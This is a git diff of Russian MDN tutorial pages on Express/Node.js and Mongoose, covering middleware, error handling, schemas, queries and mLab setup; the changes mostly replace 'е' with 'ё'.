        Вы можете добавить функцию промежуточного программного обеспечения в цепочку обработки с помощью app.use () или app.add (), в зависимости от того, хотите ли вы применить промежуточное программное обеспечение ко всем ответам или к ответам с определённым глаголом HTTP (GET, POST и т. д.). ). Маршруты задаются одинаково в обоих случаях, хотя маршрут необязателен при вызове app.use ().
        
  
        
- В приведенном ниже примере показано, как можно добавить функцию промежуточного программного обеспечения, используя оба метода, а также с / без маршрута.
        
+ В приведённом ниже примере показано, как можно добавить функцию промежуточного программного обеспечения, используя оба метода, а также с / без маршрута.
        
 
 
        var express = require('express');
 var app = express();
@@ -348,7 +348,7 @@ app.get('/', a_middleware_function);
 app.listen(3000);
        
 
 
        
-
        Совет по JavaScript: выше мы объявляем функцию промежуточного программного обеспечения отдельно, а затем устанавливаем ее в качестве колбэка. В нашей предыдущей функции обработчика маршрута мы объявили колбэк-функцию, когда она использовалась. В JavaScript любой подход является допустимым.
        
+
        Совет по JavaScript: выше мы объявляем функцию промежуточного программного обеспечения отдельно, а затем устанавливаем её в качестве колбэка. В нашей предыдущей функции обработчика маршрута мы объявили колбэк-функцию, когда она использовалась. В JavaScript любой подход является допустимым.
        
 
        
 
 
        Документация по Express содержит намного больше отличной информации по использованию и написанию промежуточного программного обеспечения Express.
        
@@ -360,7 +360,7 @@ app.listen(3000);
 
        app.use(express.static('public'));
 
        
 
-
        Любые файлы в публичном каталоге обслуживаются путем добавления их имени файла (относительно базового «публичного» каталога) к базовому URL. Так, например:
        
+
        Любые файлы в публичном каталоге обслуживаются путём добавления их имени файла (относительно базового «публичного» каталога) к базовому URL. Так, например:
        
 
 
        http://localhost:3000/images/dog.jpg
 http://localhost:3000/css/style.css
@@ -390,7 +390,7 @@ http://localhost:3000/media/cry.mp3
 
 
        Обработка ошибок
        
 
-
        Ошибки обрабатываются одной или несколькими специальными функциями промежуточного программного обеспечения, которые имеют четыре аргумента вместо обычных трех: (err, req, res, next). Например:
        
+
        Ошибки обрабатываются одной или несколькими специальными функциями промежуточного программного обеспечения, которые имеют четыре аргумента вместо обычных трёх: (err, req, res, next). Например:
        
 
 
        app.use(function(err, req, res, next) {
   console.error(err.stack);
@@ -400,7 +400,7 @@ http://localhost:3000/media/cry.mp3
 
 
        Они могут возвращать любой требуемый контент, но должны вызываться после всех других app.use () и маршрутизировать вызовы, чтобы они были последним промежуточным ПО в процессе обработки запросов!
        
  
        
- Express поставляется со встроенным обработчиком ошибок, который заботится обо всех оставшихся ошибках, которые могут возникнуть в приложении. Эта промежуточная функция обработки ошибок по умолчанию добавляется в конец стека функций промежуточного программного обеспечения. Если вы передаете ошибку в next () и не обрабатываете ее в обработчике ошибок, она будет обработана встроенным обработчиком ошибок; ошибка будет записана клиенту с трассировкой стека.
        
+ Express поставляется со встроенным обработчиком ошибок, который заботится обо всех оставшихся ошибках, которые могут возникнуть в приложении. Эта промежуточная функция обработки ошибок по умолчанию добавляется в конец стека функций промежуточного программного обеспечения. Если вы передаёте ошибку в next () и не обрабатываете её в обработчике ошибок, она будет обработана встроенным обработчиком ошибок; ошибка будет записана клиенту с трассировкой стека.
        
 
 
        
 
        Примечание. Трассировка стека не включена в производственную среду. Чтобы запустить его в производственном режиме, необходимо установить переменную среды NODE_ENV в «производство».
        
@@ -443,7 +443,7 @@ MongoClient.connect('mongodb://localhost:27017/animals', function(err, db) {
 
 
        Механизмы шаблонов (в Express называемые «механизмами просмотра») позволяют указывать структуру выходного документа в шаблоне, используя заполнители для данных, которые будут заполняться при создании страницы. Шаблоны часто используются для создания HTML, но могут также создавать другие типы документов. В Express есть поддержка ряда шаблонных движков, и здесь есть полезное сравнение более популярных движков: Сравнение шаблонизаторов JavaScript: Jade, Mustache, Dust и More.
        
  
        
- В своем коде настроек приложения вы задаете механизм шаблонов для использования и место, где Express должен искать шаблоны, используя настройки «views» и «engine», как показано ниже (вам также нужно будет установить пакет, содержащий вашу библиотеку шаблонов). !)
        
+ В своём коде настроек приложения вы задаёте механизм шаблонов для использования и место, где Express должен искать шаблоны, используя настройки «views» и «engine», как показано ниже (вам также нужно будет установить пакет, содержащий вашу библиотеку шаблонов). !)
        
 
 
        var express = require('express');
 var app = express();
@@ -465,18 +465,18 @@ app.set('view engine', 'some_template_engine_name');
 
 
        Файловая структура
        
 
-
        Express не делает никаких предположений относительно структуры или компонентов, которые вы используете. Маршруты, представления, статические файлы и другая логика конкретного приложения могут находиться в любом количестве файлов с любой структурой каталогов. Хотя вполне возможно иметь все приложения Express в одном файле, обычно имеет смысл разделить ваше приложение на файлы на основе функций (например, управление учетными записями, блоги, доски обсуждений) и проблемной области архитектуры (например, модель, представление или контроллер, если вы случайно используете MVC architecture).
        
+
        Express не делает никаких предположений относительно структуры или компонентов, которые вы используете. Маршруты, представления, статические файлы и другая логика конкретного приложения могут находиться в любом количестве файлов с любой структурой каталогов. Хотя вполне возможно иметь все приложения Express в одном файле, обычно имеет смысл разделить ваше приложение на файлы на основе функций (например, управление учётными записями, блоги, доски обсуждений) и проблемной области архитектуры (например, модель, представление или контроллер, если вы случайно используете MVC architecture).
        
 
-
        В более поздней теме мы будем использовать Express Application Generator, который создает модульный каркас приложения, который мы можем легко расширить для создания веб-приложений.
        
+
        В более поздней теме мы будем использовать Express Application Generator, который создаёт модульный каркас приложения, который мы можем легко расширить для создания веб-приложений.
        
 
 
          
 
        
 
 
        Резюме
        
 
-
        Поздравляем, вы завершили первый шаг в своем путешествии Express / Node! Теперь вы должны понимать основные преимущества Express и Node, а также примерно то, как могут выглядеть основные части приложения Express (маршруты, промежуточное ПО, обработка ошибок и код шаблона). Вы также должны понимать, что с Express, который является непонятным фреймворком, то, как вы собираете эти части вместе, и библиотеки, которые вы используете, в значительной степени зависит от вас!
        
+
        Поздравляем, вы завершили первый шаг в своём путешествии Express / Node! Теперь вы должны понимать основные преимущества Express и Node, а также примерно то, как могут выглядеть основные части приложения Express (маршруты, промежуточное ПО, обработка ошибок и код шаблона). Вы также должны понимать, что с Express, который является непонятным фреймворком, то, как вы собираете эти части вместе, и библиотеки, которые вы используете, в значительной степени зависит от вас!
        
  
        
- Конечно, Express - это очень легкая платформа для веб-приложений, поэтому большая часть ее преимуществ и возможностей обеспечивается сторонними библиотеками и функциями. Мы рассмотрим это более подробно в следующих статьях. В нашей следующей статье мы рассмотрим настройку среды разработки Node, чтобы вы могли увидеть некоторый код Express в действии.
        
+ Конечно, Express - это очень лёгкая платформа для веб-приложений, поэтому большая часть её преимуществ и возможностей обеспечивается сторонними библиотеками и функциями. Мы рассмотрим это более подробно в следующих статьях. В нашей следующей статье мы рассмотрим настройку среды разработки Node, чтобы вы могли увидеть некоторый код Express в действии.
        
 
 
        Смотрите также
        
 
diff --git a/files/ru/learn/server-side/express_nodejs/mongoose/index.html b/files/ru/learn/server-side/express_nodejs/mongoose/index.html
index a761872f99..7bbcc23eb4 100644
--- a/files/ru/learn/server-side/express_nodejs/mongoose/index.html
+++ b/files/ru/learn/server-side/express_nodejs/mongoose/index.html
@@ -7,7 +7,7 @@ translation_of: Learn/Server-side/Express_Nodejs/mongoose
 
 
        {{PreviousMenuNext("Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs")}}
        
 
-
        В этой статье дается краткое введение в базы данных, и методика их использования в приложениях Node/Express. Затем мы покажем, как можно использовать Mongoose для доступа к базе данных веб-сайта  LocalLibrary. Мы объясним, как объявляются схемы и модели объектов, укажем основные типы полей, и методику базовой валидации. В статье также кратко показаны  основные методы доступа к данным модели.
        
+
        В этой статье даётся краткое введение в базы данных, и методика их использования в приложениях Node/Express. Затем мы покажем, как можно использовать Mongoose для доступа к базе данных веб-сайта  LocalLibrary. Мы объясним, как объявляются схемы и модели объектов, укажем основные типы полей, и методику базовой валидации. В статье также кратко показаны  основные методы доступа к данным модели.
        
 
 
        
  
        
@@ -24,7 +24,7 @@ translation_of: Learn/Server-side/Express_Nodejs/mongoose
 
 
        Обзор
        
 
-
        Сотрудники библиотеки будут использовать сайт Local Library  для хранения информации о книгах и абонентах, а абоненты библиотеки будут использовать его для просмотра и поиска книг, для получения информации о доступных копиях, для резервирования или одалживания книг. Чтобы эффективно хранить и извлекать информацию, мы будем хранить ее в базе данных.
        
+
        Сотрудники библиотеки будут использовать сайт Local Library  для хранения информации о книгах и абонентах, а абоненты библиотеки будут использовать его для просмотра и поиска книг, для получения информации о доступных копиях, для резервирования или одалживания книг. Чтобы эффективно хранить и извлекать информацию, мы будем хранить её в базе данных.
        
 
 
        Express-приложения могут использовать различные базы данных, и есть несколько подходов, которые можно использовать для выполнения операций Create, Read, Update and Delete (CRUD) (создать, прочесть, обновить, удалить). В руководстве дан краткий обзор некоторых доступных опций, и детально рассмотрены некоторые механизмы работы.
        
 
@@ -42,7 +42,7 @@ translation_of: Learn/Server-side/Express_Nodejs/mongoose
 
 
          
  
        • Использование родного языка запросов баз данных (т.е. SQL)
          • 
- 
        • Использование объектной модели данных (ODM) или объектно-реляционной модели (ORM).  ODM / ORM представляют данные веб-сайта как объекты JavaScript, которые затем отображаются на поддерживающую базу данных. Некоторые ORM  привязаны к определенной базе данных, тогда как другие не зависят от конкретной базы данных.
          • 
+ 
        • Использование объектной модели данных (ODM) или объектно-реляционной модели (ORM).  ODM / ORM представляют данные веб-сайта как объекты JavaScript, которые затем отображаются на поддерживающую базу данных. Некоторые ORM  привязаны к определённой базе данных, тогда как другие не зависят от конкретной базы данных.
          • 
 
        
 
 
        Наилучшую производительность можно получить с помощью SQL или другого языка запросов, поддерживаемого базой данных. Объектные модели (ODM) часто медленнее, потому что требуют перевода объектов в формат базы данных, при этом не обязательно будут использованы наиболее эффективные запросы к базе данных (особенно, если ODM предназначена для различных баз данных и должна идти на большие компромиссы в смысле поддержки тех или иных функций базы данных).
        
@@ -50,7 +50,7 @@ translation_of: Learn/Server-side/Express_Nodejs/mongoose
 
        Преимущество применения ORM состоит в том, что программисты могут сосредоточиться на объектах JavaScript, а не  на семантике базы данных —  особенно, если требуется работать с разными базами данных (на одном или разных веб-сайтах). Они также дают очевидное место для валидации и проверки данных.
        
 
 
        
-
        Совет:  Применение ODM / ORMs часто приводит к снижению затрат на разработку и обслуживание! Если Вы не очень хорошо знакомы с родным языком запросов или если производительность имеет первостепенное значение, следует серьезно рассмотреть возможность применения ODM.
        
+
        Совет:  Применение ODM / ORMs часто приводит к снижению затрат на разработку и обслуживание! Если Вы не очень хорошо знакомы с родным языком запросов или если производительность имеет первостепенное значение, следует серьёзно рассмотреть возможность применения ODM.
        
 
        
 
 
        Какую модель ORM/ODM следует использовать?
        
@@ -63,8 +63,8 @@ translation_of: Learn/Server-side/Express_Nodejs/mongoose
  
      • Mongoose: -- это средство моделирование объектов базы данных MongoDB,  предназначенное для асинхронной работы.
        • 
  
      • Waterline: ORM  фреймворка Sails (основан на Express) . Она предоставляет единый API для доступа к множеству баз данных, в том числе Redis, mySQL, LDAP, MongoDB, и Postgres.
        • 
  
      • Bookshelf: поддерживает как promise- так и традиционные callback- интерфейсы, поддержка транзакций, eager/nested-eager relation loading, полиморфные ассоциации, и поддержка, один к одному, один ко многим, и многие ко многим. Работает с PostgreSQL, MySQL, и SQLite3.
        • 
- 
      • Objection: Делает настолько легким, насколько возможно, использование всей мощи SQL и движка базы данных ( поддерживает  SQLite3, Postgres, и MySQL).
        • 
- 
      • Sequelize: Основанная на промисах ORM для Node.js и io.js. Поддерживает диалекты PostgreSQL, MySQL, MariaDB, SQLite и MSSQL, обладает надежной поддержкой транзакций, отношений, чтения копий и т.д.
        • 
+ 
      • Objection: Делает настолько лёгким, насколько возможно, использование всей мощи SQL и движка базы данных ( поддерживает  SQLite3, Postgres, и MySQL).
        • 
+ 
      • Sequelize: Основанная на промисах ORM для Node.js и io.js. Поддерживает диалекты PostgreSQL, MySQL, MariaDB, SQLite и MSSQL, обладает надёжной поддержкой транзакций, отношений, чтения копий и т.д.
        • 
  
      • 
   
        Node ORM2 -- это OR менеджер для NodeJS. Поддерживает MySQL, SQLite и Progress, помогает работать с БД, используя объектный подход.
        
  
        • 
@@ -73,7 +73,7 @@ translation_of: Learn/Server-side/Express_Nodejs/mongoose
  
 
 
-
        Как правило, при выборе решения следует учитывать как предоставляемые функции, так и  "деятельность сообщества" ( загрузки, вклад, отчеты об ошибках, качество документации, и т.д. ) . На момент написания статьи Mongoose являлась очень популярной ORM, и разумно, если вы выбрали MongoDB.
        
+
        Как правило, при выборе решения следует учитывать как предоставляемые функции, так и  "деятельность сообщества" ( загрузки, вклад, отчёты об ошибках, качество документации, и т.д. ) . На момент написания статьи Mongoose являлась очень популярной ORM, и разумно, если вы выбрали MongoDB.
        
 
 
        Применение Mongoose и MongoDb для LocalLibrary
        
 
@@ -97,11 +97,11 @@ translation_of: Learn/Server-side/Express_Nodejs/mongoose
 
 
        При проектировании моделей имеет смысл иметь отдельные модели для каждого «объекта» (группы связанных данных). В этом случае очевидными объектами являются книги, экземпляры книг и авторы.
        
 
-
        Можно также использовать модели для представления параметров списка выбора (например, как выпадающий список вариантов), вместо жесткого кодирования выбора на самом веб-сайте -  рекомендуется, когда не все параметры известны или могут быть изменены. Явный кандидат для модели такого типа -- это жанр книги (например, «Научная фантастика», «Французская поэзия» и т.д.),
        
+
        Можно также использовать модели для представления параметров списка выбора (например, как выпадающий список вариантов), вместо жёсткого кодирования выбора на самом веб-сайте -  рекомендуется, когда не все параметры известны или могут быть изменены. Явный кандидат для модели такого типа -- это жанр книги (например, «Научная фантастика», «Французская поэзия» и т.д.),
        
 
 
        Как только мы определились с моделями и полями, следует подумать об отношениях между ними.
        
 
-
        С учетом сказанного, UML-диаграмма связей (см. ниже) показывает модели, которые представлены как прямоугольники. Мы решили, что создадим модели для книги (общие сведения о книге), для экземпляра книги (состояние отдельных физических копий книги, доступных в системе) и для автора. Кроме того, у нас будет модель для жанра, чтобы эти значения можно было создавать динамически. Решено не создавать модель для  BookInstance:status — мы пропишем в коде необходимые значения, потому что не ожидаем их изменения. На элементах диаграммы показаны имя модели, имена и типы полей, имена методов и типы их результатов .
        
+
        С учётом сказанного, UML-диаграмма связей (см. ниже) показывает модели, которые представлены как прямоугольники. Мы решили, что создадим модели для книги (общие сведения о книге), для экземпляра книги (состояние отдельных физических копий книги, доступных в системе) и для автора. Кроме того, у нас будет модель для жанра, чтобы эти значения можно было создавать динамически. Решено не создавать модель для  BookInstance:status — мы пропишем в коде необходимые значения, потому что не ожидаем их изменения. На элементах диаграммы показаны имя модели, имена и типы полей, имена методов и типы их результатов .
        
 
 
        Также показаны отношения между моделями, включая множественные отношения. Числа на линиях связи показывают максимум и минимум  моделей, участвующих отношении. Например, линия между Book и Genre показывает, что Book и Genre связаны. Числа на этой линии рядом с моделью Book показывают, что жанр может быть связан с любым количеством книг, а числа на другом конце линии рядом с Genre отмечают, что книга может быть связана с любым количеством жанров.
        
 
@@ -112,7 +112,7 @@ translation_of: Learn/Server-side/Express_Nodejs/mongoose
 
        Mongoose Library Model  with correct cardinality
        
 
 
        
-
        Заметка: В следующем разделе дан базовый пример, в котором объясняется, как задавать и как использовать модели. При чтении обратите внимание, как будут создаваться модели, приведенные на диаграмме.
        
+
        Заметка: В следующем разделе дан базовый пример, в котором объясняется, как задавать и как использовать модели. При чтении обратите внимание, как будут создаваться модели, приведённые на диаграмме.
        
 
        
 
 
        Mongoose Справочник
        
@@ -158,14 +158,14 @@ db.on('error', console.error.bind(console, 'MongoDB connection error:'));
 
        При помощи mongoose.connection можно получить стандартный объект Connection. После подключения в экземпляре Connection возникает событие open (открыт).
        
 
 
        
-
        Tip: Если необходимо создать дополнительные подключения, можно использовать mongoose.createConnection(). При этом будут применены те же БД URI (хост, БД, порт, опции и т.д.), что и в connect() и будет возвращен объект Connection.
        
+
        Tip: Если необходимо создать дополнительные подключения, можно использовать mongoose.createConnection(). При этом будут применены те же БД URI (хост, БД, порт, опции и т.д.), что и в connect() и будет возвращён объект Connection.
        
 
        
 
 
        Определение и создание моделей
        
 
 
        Модели можно создать при помощи интерфейса Schema . Schema позволяет указать поля, которые будут в каждом документе, значения полей по умолчанию и требования по валидации. Кроме того, можно задать статические методы и методы-хелперы (от help), облегчающие работу с вашими типами данных, а также задать виртуальные свойства,  которые можно использовать как и обычные поля, но без влияния на данные в самой базе данных.
        
 
-
        Схемы "компилируются "  в окончательную модель методом  mongoose.model(). После создания модели ее можно использовать для поиска, создания, обновления и удаления объектов данного типа.
        
+
        Схемы "компилируются "  в окончательную модель методом  mongoose.model(). После создания модели её можно использовать для поиска, создания, обновления и удаления объектов данного типа.
        
 
 
        
 
        Заметка: Каждой модели соответствует коллекция документов в ДБ MongoDB. Документы будут содержать поля тех типов, которые заданы в модели Schema.
        
@@ -173,7 +173,7 @@ db.on('error', console.error.bind(console, 'MongoDB connection error:'));
 
 
        Определение схем данных
        
 
-
        Код ниже показывает, как можно задать простую схему. Сначала при помощи require() создается объект mongoose, затем конструктор Schema создает новый экземпляр схемы, при этом различные поля задаются как параметры конструктора.
        
+
        Код ниже показывает, как можно задать простую схему. Сначала при помощи require() создаётся объект mongoose, затем конструктор Schema создаёт новый экземпляр схемы, при этом различные поля задаются как параметры конструктора.
        
 
 
        //Требуется Mongoose
 var mongoose = require('mongoose');
@@ -212,7 +212,7 @@ var SomeModel = mongoose.model('SomeModel', SomeModelSchema );
        
 
 
        Типы схемы (поля)
        
 
-
        Схема может содержать любое количество полей, причем каждое поле будет полем документа, хранимого в БД MongoDB. Схема-пример содержит определения многих широко используемых типов полей.
        
+
        Схема может содержать любое количество полей, причём каждое поле будет полем документа, хранимого в БД MongoDB. Схема-пример содержит определения многих широко используемых типов полей.
        
 
 
        var schema = new Schema(
 {
@@ -228,12 +228,12 @@ var SomeModel = mongoose.model('SomeModel', SomeModelSchema );
        
   nested: { stuff: { type: String, lowercase: true, trim: true } }
 })
 
-
        Большинство типов в SchemaTypes (указаны после “type:” или после имен полей) достаточно очевидны. Исключения:
        
+
        Большинство типов в SchemaTypes (указаны после “type:” или после имён полей) достаточно очевидны. Исключения:
        
 
 
          
  
        • ObjectId: Представляет отдельный экземпляр модели в БД. Например, book может ссылаться на объект- автора. Поле будет содержать уникальный идентификатор (_id) отдельного объекта. При необходимости использования этой информации применяют метод populate().
          • 
  
        • Mixed: Произвольный тип в схеме.
          • 
- 
        • []: Массив элементов. В таких моделях можно выполнять JavaScript-операции для массивов (push, pop, unshift, etc.).  Выше показан пример массивы объектов неопределенного типа и массив строк, но можно использовать массив объектов любого типа.
          • 
+ 
        • []: Массив элементов. В таких моделях можно выполнять JavaScript-операции для массивов (push, pop, unshift, etc.).  Выше показан пример массивы объектов неопределённого типа и массив строк, но можно использовать массив объектов любого типа.
          • 
 
        
 
 
        Код содержит также два способа объявления полей:
        
@@ -325,7 +325,7 @@ awesome_instance.save(function (err) {
 
 
        Создание записей (а также обновления, удаления и запросы) - это асинхронные операции, поэтому следует предусмотреть колбэк-функцию, которая будет вызвана при завершении  операции. В API используется соглашение о первом аргументе, согласно которому первый аргумент колбэк-функции должен быть значением ошибки (или null). Если API возвращает некоторый результат, он должен быть вторым аргументом.
        
 
-
        Можно использовать метод create() для создании экземпляра модели при его сохранении. Тогда колбэк-функция вернет ошибку (или null) как первый аргумент и только что созданный экземпляр как второй аргумент.
        
+
        Можно использовать метод create() для создании экземпляра модели при его сохранении. Тогда колбэк-функция вернёт ошибку (или null) как первый аргумент и только что созданный экземпляр как второй аргумент.
        
 
 
        SomeModel.create({ name: 'also_awesome' }, function (err, awesome_instance) {
   if (err) return handleError(err);
@@ -348,7 +348,7 @@ console.log(awesome_instance.name); //вывод в консоль
 
 
        Поиск записей
        
 
-
        При поиске записей методами запросов, условия поиска следует задавать как документ JSON. Приведенный фрагмент кода (ниже) показывает, как в БД найти имена (name) и возраст (age) всех спортсменов-теннисистов. Соответствие будет определяться по одному полю (sport), но можно добавить критерии поиска, задав, например, регулярное выражение, или удалить все критерии, чтобы получить список всех спортсменов.
        
+
        При поиске записей методами запросов, условия поиска следует задавать как документ JSON. Приведённый фрагмент кода (ниже) показывает, как в БД найти имена (name) и возраст (age) всех спортсменов-теннисистов. Соответствие будет определяться по одному полю (sport), но можно добавить критерии поиска, задав, например, регулярное выражение, или удалить все критерии, чтобы получить список всех спортсменов.
        
 
 
        var Athlete = mongoose.model('Athlete', yourSchema);
 
@@ -364,7 +364,7 @@ Athlete.find({ 'sport': 'Tennis' }, 'name age', function (err, athletes) {
 
        Заметка: Все колбэк-функции в Mongoose используют образец callback(error, result). Если при выполнении запроса возникает ошибка, параметр error будет содержать объект error, а result будет null. При успешном запросе параметр error будет null, а result будет содержать результат запроса.
        
 
        
 
-
        Если не задать колбэк-функцию, API вернет переменную типа Query. Можно использовать объект запроса, чтобы создать и выполнить свой запрос (с колбэк-функцией) позже, при помощи метода exec().
        
+
        Если не задать колбэк-функцию, API вернёт переменную типа Query. Можно использовать объект запроса, чтобы создать и выполнить свой запрос (с колбэк-функцией) позже, при помощи метода exec().
        
 
 
        // найти всех теннисистов
 var query = Athlete.find({ 'sport': 'Tennis' });
@@ -404,7 +404,7 @@ query.exec(function (err, athletes) {
 
 
 
        
-
        Заметка: Есть также метод count(), который определяет количество записей, соответствующих условию. Он полезен при выполнении подсчетов без фактического извлечения записей.
        
+
        Заметка: Есть также метод count(), который определяет количество записей, соответствующих условию. Он полезен при выполнении подсчётов без фактического извлечения записей.
        
 
        
 
 
        Запросы полезны и во многих других случаях. Дополнительная информация - в Queries (документация Mongoose).
        
@@ -431,17 +431,17 @@ var storySchema = Schema({
 var Story  = mongoose.model('Story', storySchema);
 var Author = mongoose.model('Author', authorSchema);
        
 
-
        Можно сохранить ссылки в связанном документе, используя значение идентификатора _id. Ниже создается автор, затем   рассказ, и значение идентификатора id автора сохраняется в поле "author" рассказа.
        
+
        Можно сохранить ссылки в связанном документе, используя значение идентификатора _id. Ниже создаётся автор, затем   рассказ, и значение идентификатора id автора сохраняется в поле "author" рассказа.
        
 
 
        var bob = new Author({ name: 'Bob Smith' });
 
 bob.save(function (err) {
   if (err) return handleError(err);
 
-  //автор Bob создан, создаем рассказ
+  //автор Bob создан, создаём рассказ
   var story = new Story({
     title: "Bob goes sledding",
-    author: bob._id    // присваиваем полю значение идентификатора Боба. Идентификатор создается по умолчанию!
+    author: bob._id    // присваиваем полю значение идентификатора Боба. Идентификатор создаётся по умолчанию!
   });
 
   story.save(function (err) {
@@ -479,7 +479,7 @@ bob.save(function (err) {
 
 
        Одна схема (модель) - один файл
        
 
-
        Можно использовать любую структуру файлов при создании схем и моделей, однако мы настоятельно рекомендуем определять каждую схему модели в отдельном модуле (файле),  экспортируя метод для создания модели. Пример приведен ниже:
        
+
        Можно использовать любую структуру файлов при создании схем и моделей, однако мы настоятельно рекомендуем определять каждую схему модели в отдельном модуле (файле),  экспортируя метод для создания модели. Пример приведён ниже:
        
 
 
        // Файл: ./models/somemodel.js
 
@@ -499,7 +499,7 @@ module.exports = mongoose.model('SomeModel', SomeModelSchema );<
 
 
        You can then require and use the model immediately in other files. Below we show how you might use it to get all instances of the model.
        
 
-
        //Создаем модель SomeModel просто вызовом модуля из файла
+
        //Создаём модель SomeModel просто вызовом модуля из файла
 var SomeModel = require('../models/somemodel')
 
 // Используем объект SomeModel (модель) для поиска всех записей в SomeModel
@@ -509,7 +509,7 @@ SomeModel.find(callback_function);
        
 
 
        Мы уже немного понимаем,  что может делать Mongoose и как следует проектировать  модели. Теперь самое время начать работу над сайтом  LocalLibrary. Самое первое, что мы должны сделать - установить базу данных MongoDb, в которой будут храниться данные нашей   библиотеки.
        
 
-
        В этом руководстве мы будем использовать базу данных в "песочнице" ("sandbox") - бесплатный облачный сервис, предоставляемый  mLab. Такая база не очень подходит для промышленных веб-сайтов, поскольку не имеет избыточности, но она очень удобна для разработки и прототипирования. Мы используем ее, так как она бесплатна, ее легко установить, и потому что mLab - популярный поставщик  базы данных как сервиса, и это может быть разумным выбором для промышленной базы данных (на данный момент другие известные возможности включают Compose, ScaleGrid и MongoDB Atlas).
        
+
        В этом руководстве мы будем использовать базу данных в "песочнице" ("sandbox") - бесплатный облачный сервис, предоставляемый  mLab. Такая база не очень подходит для промышленных веб-сайтов, поскольку не имеет избыточности, но она очень удобна для разработки и прототипирования. Мы используем её, так как она бесплатна, её легко установить, и потому что mLab - популярный поставщик  базы данных как сервиса, и это может быть разумным выбором для промышленной базы данных (на данный момент другие известные возможности включают Compose, ScaleGrid и MongoDB Atlas).
        
 
 
        
 
        Заметка: При желании можно установить БД  MongoDb локально, загрузив и установив подходящие для вашей системы двоичные файлы. В этом случае приводимые ниже инструкции не изменятся, за исключением URL базы данных, который нужно будет задать для установки соединения.
        
@@ -520,14 +520,14 @@ SomeModel.find(callback_function);
        
 
        После входа в систему вы увидите главную страницу home:
        
 
 
          
- 
        1. Щелкните Create New в разделе MongoDB Deployments для создания новой БД.
          2. 
+ 
        2. Щёлкните Create New в разделе MongoDB Deployments для создания новой БД.
          3. 
  
        3. Откроется экран Cloud Provider Selection -  раздела провайдера облака.
          
   MLab - screen for new deployment
          
 
   
            
    
          • Выберите план SANDBOX (Free) из раздела Plan Type (тип плана). 
            • 
    
          • Выберите любого провайдера в разделе Cloud Provider (провайдер облака). Разные провайдеры обслуживают разные регионы (показаны под выбранным типом плана).
            • 
-   
          • Щелкните кнопку Continue.
            • 
+   
          • Щёлкните кнопку Continue.
            • 
   
          
  
          4. 
  
        4. Откроется экран выбора региона Select Region.
@@ -535,7 +535,7 @@ SomeModel.find(callback_function);
        
 
   
          
    
        • 
-    
          Выберите ближайший к Вам регион и щелкните кнопку Continue.
          
+    
          Выберите ближайший к Вам регион и щёлкните кнопку Continue.
          
    
          • 
   
        
  
@@ -554,17 +554,17 @@ SomeModel.find(callback_function);
        
 
   
          
    
        • 
-    
          Щелкните Submit Order (подтвердить заказ), чтобы создать БД.
          
+    
          Щёлкните Submit Order (подтвердить заказ), чтобы создать БД.
          
    
          • 
   
        
  
  
      • 
-  
        Вы вернетесь на главный (home) экран. Щелкните по вновь созданной базе, чтобы открыть экран с детальной информацией. Как видно, в БД нет коллекций (данных).
        
+  
        Вы вернётесь на главный (home) экран. Щёлкните по вновь созданной базе, чтобы открыть экран с детальной информацией. Как видно, в БД нет коллекций (данных).
        
    mLab - Database details screen
        
     
        
-   На форме выше обведен URL для соединения с вашей БДthat you need to use to access your database is displayed on the form above (shown for this database circled above). Чтобы его использовать, необходимо создать пользователя БД, который позже введет этот URL.
        
+   На форме выше обведён URL для соединения с вашей БДthat you need to use to access your database is displayed on the form above (shown for this database circled above). Чтобы его использовать, необходимо создать пользователя БД, который позже введёт этот URL.
        
  
        • 
- 
      • Щелкните по вкладке Users и выберите кнопку Add database user (добавить пользователя БД).
        • 
+ 
      • Щёлкните по вкладке Users и выберите кнопку Add database user (добавить пользователя БД).
        • 
  
      • Введите имя пользователя и пароль (дважды), затем нажмите Create (создать). Не отмечайте Make read only (только для чтения)!
        
   
        • 
 
@@ -573,14 +573,14 @@ SomeModel.find(callback_function);        
 
 
        Установка Mongoose
        
 
-
        Откройте окно команд и перейдите в каталог, в котором создан  каркас веб-сайта Local Library. Введите команду install, чтобы установить Mongoose (и ее зависимости), а также добавьте ее в файл package.json, если вы еще не сделали этого ранее, при чтении примера Mongoose Primer.
        
+
        Откройте окно команд и перейдите в каталог, в котором создан  каркас веб-сайта Local Library. Введите команду install, чтобы установить Mongoose (и её зависимости), а также добавьте её в файл package.json, если вы ещё не сделали этого ранее, при чтении примера Mongoose Primer.
        
 
 
        npm install mongoose
 
        
 
 
        Подключение к MongoDB
        
 
-
        Откройте /app.js (в корне проекта) и скопируйте приведенный ниже текст, в котором  объявляется объект приложения Express (после строки var app = express();). Замените строку url БД ('insert_your_database_url_here') тем URL, который представляет вашу БД  (т.е. используйте информацию, полученную от mLab).
        
+
        Откройте /app.js (в корне проекта) и скопируйте приведённый ниже текст, в котором  объявляется объект приложения Express (после строки var app = express();). Замените строку url БД ('insert_your_database_url_here') тем URL, который представляет вашу БД  (т.е. используйте информацию, полученную от mLab).
        
 
 
        //Устанавливаем соединение с mongoose
 var mongoose = require('mongoose');
@@ -590,11 +590,11 @@ mongoose.Promise = global.Promise;
 var db = mongoose.connection;
 db.on('error', console.error.bind(console, 'MongoDB connection error:'));
        
 
-
        Как указано ранее в примере Mongoose primer, этот код задает соединение по умолчанию с привязкой события ошибки error (так что ошибки будут выведены в консоль). 
        
+
        Как указано ранее в примере Mongoose primer, этот код задаёт соединение по умолчанию с привязкой события ошибки error (так что ошибки будут выведены в консоль). 
        
 
 
        Определение схемы LocalLibrary
        
 
-
        Мы определим отдельный модуль для каждой модели как уже обсуждалось выше. Начнем с создания каталога для моделей в корне проекта (/models), после чего создадим отдельные файлы для каждой модели:
        
+
        Мы определим отдельный модуль для каждой модели как уже обсуждалось выше. Начнём с создания каталога для моделей в корне проекта (/models), после чего создадим отдельные файлы для каждой модели:
        
 
 
        /express-locallibrary-tutorial  //the project root
   /models
@@ -606,7 +606,7 @@ db.on('error', console.error.bind(console, 'MongoDB connection error:'));
        
 
 
        Модель автора Author
        
 
-
        Скопируйте код схемы автора Author (приведен ниже) в файл ./models/author.js . В схеме определено, что у автора есть обязательные поля имени и фамилии типа String  длиной не более 100 символов, и поля типа Date дата рождения и дата смерти.
        
+
        Скопируйте код схемы автора Author (приведён ниже) в файл ./models/author.js . В схеме определено, что у автора есть обязательные поля имени и фамилии типа String  длиной не более 100 символов, и поля типа Date дата рождения и дата смерти.
        
 
 
        var mongoose = require('mongoose');
 
@@ -644,14 +644,14 @@ module.exports = mongoose.model('Author', AuthorSchema);
 
 
        
 
